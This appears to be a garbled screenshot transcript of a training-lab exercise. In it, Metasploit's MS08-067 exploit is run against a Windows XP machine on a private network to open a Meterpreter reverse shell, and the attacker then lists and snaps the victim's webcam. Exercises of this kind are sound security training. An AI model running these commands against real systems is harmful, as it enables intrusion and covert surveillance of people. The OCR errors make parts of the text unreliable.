```
-(kali⊕kali)-[~]
 $ msfconsole
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it
with setg RHOSTS x.x.x.x
      dBBBBBBb
               dBBBP dBBBBBBP dBBBBBb
                                                                0
          dB '
                                   BBP
   dB'dB'dB' dBBP
                     dBP
                              dBP BB
  dB'dB'dB dBP
                     dBP
                             dBP
                                   BB
  dB'dB'dB' dBBBBP
                   dBP
                             dBBBBBBB
                                            dBBBBBb dBP
                                                          dbbbbb dbp dbbbbbbb
                                                dB' dBP
                                                           dB' BP
                                            dBBBB' dBP
                                                          dB' BP dBP
                                                                        dBP
                                           dBP
                                                  dBP
                                                         dB' BP dBP
                                                                       dBP
                                                 dBBBBP dBBBBP dBP
                                                                      dBP
                           To boldly go where no
        0
                            shell has gone before
       =[ metasploit v6.3.43-dev
    --=[ 2376 exploits - 1232 auxiliary - 416 post
    --=[ 1391 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion
```

Metasploit Documentation: https://docs.metasploit.com/

C:\WINDOWS\system32\cmd.exe Microsoft Windows XP [Versione 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Epicode_user>ipconfig Configurazione IP di Windows Scheda Ethernet Connessione alla rete locale (LAN): Suffisso DNS specifico per connessione: Indirizzo IP. : 192.168.50.104 Gateway predefinito : 192.168.50.1 Scheda Ethernet Connessione alla rete locale (LAN) 2: Suffisso DNS specifico per connessione: Indirizzo IP configurazione automatica: 0.1.0.4

C:\Documents and Settings\Epicode_user}_

Gateway predefinito :

```
Matching Modules
                                           Disclosure Date
     Name
                                                            Rank
                                                                   Check Description
      exploit/windows/smb/ms08 067 netapi 2008-10-28
                                                                          MS08-067 Microsoft Server Service Relative Path Stack Corruption
                                                            great
                                                                   Yes
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
msf6 > use exploit/windows/smb/ms
use exploit/windows/smb/ms03 049 netapi
                                                            use exploit/windows/smb/ms06 070 wkssvc
use exploit/windows/smb/ms04 007 killbill
                                                            use exploit/windows/smb/ms07_029 msdns_zonename
use exploit/windows/smb/ms04 011 lsass
                                                            use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms04_031_netdde
                                                            use exploit/windows/smb/ms09 050 smb2 negotiate func index
use exploit/windows/smb/ms05_039_pnp
                                                            use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
use exploit/windows/smb/ms06 025 rasmans reg
                                                            use exploit/windows/smb/ms10 061 spoolss
use exploit/windows/smb/ms06_025_rras
                                                            use exploit/windows/smb/ms15_020 shortcut_icon_dllloader
use exploit/windows/smb/ms06_040_netapi
                                                            use exploit/windows/smb/ms17 010 eternalblue
use exploit/windows/smb/ms06_066_nwapi
                                                            use exploit/windows/smb/ms17_010_psexec
use exploit/windows/smb/ms06_066_nwwks
msf6 > use exploit/windows/smb/ms08 067 netapi
```

msf6 > search MS08-067

[*] No payload configured, defaulting to windows/meterpreter/reverse tcp

```
Current Setting Required Description
  Name
                                       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RHOSTS
                             ves
                                       The SMB service port (TCP)
  RPORT
            445
                             ves
  SMBPIPE
           BROWSER
                                       The pipe name to use (BROWSER, SRVSVC)
                             ves
Payload options (windows/meterpreter/reverse tcp):
             Current Setting Required Description
  Name
  EXITFUNC
             thread
                                        Exit technique (Accepted: '', seh, thread, process, none)
                              ves
  LHOST
             192,168,50,100
                                        The listen address (an interface may be specified)
                              ves
                                        The listen port
  LPORT
             4444
                              ves
```

View the full module info with the info, or info -d command.

Exploit target:

Name

Automatic Targeting

Ιd

msf6 exploit(windows/smb/ms08 067 netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

```
msf6 exploit(
                             8 867 netapi) > set RHOSTS 192.168.50.104
RHOSTS ⇒ 192.168.50.104
msf6 exploit(window
                           88_867_netapi) > set LHOST
LHOST ⇒ 192.168.50.100
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
Started reverse TCP handler on 192.168.50.100:4444
192.168.50.104:445 - Automatically detecting the target ...
[*] 192.168.50.104:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.104:445 - Selected Target: Windows XP SP3 Italian (NX)
* 192.168.50.104:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.104
[*] Meterpreter session 1 opened (192.168.50.100:4444 \rightarrow 192.168.50.104:1035) at 2024-01-17 07:18:12 -0500
```

```
meterpreter > ifconfig
Interface 1
Name
             : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU
             : 1520
IPv4 Address : 127.0.0.1
Interface 2
             : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit♦ di pianificazione pacchetti
Name
Hardware MAC : 08:00:27:5c:b5:62
MTU
             : 1500
IPv4 Address : 192.168.50.104
IPv4 Netmask : 255.255.255.0
meterpreter > webcam
webcam_chat
              webcam_list
                              webcam_snap
                                             webcam_stream
meterpreter > webcam_
              webcam list
webcam_chat
                              webcam_snap
                                             webcam_stream
meterpreter > webcam list
1: Periferica video USB
meterpreter > webcam_snap
[*] Starting...
[*] Stopped
```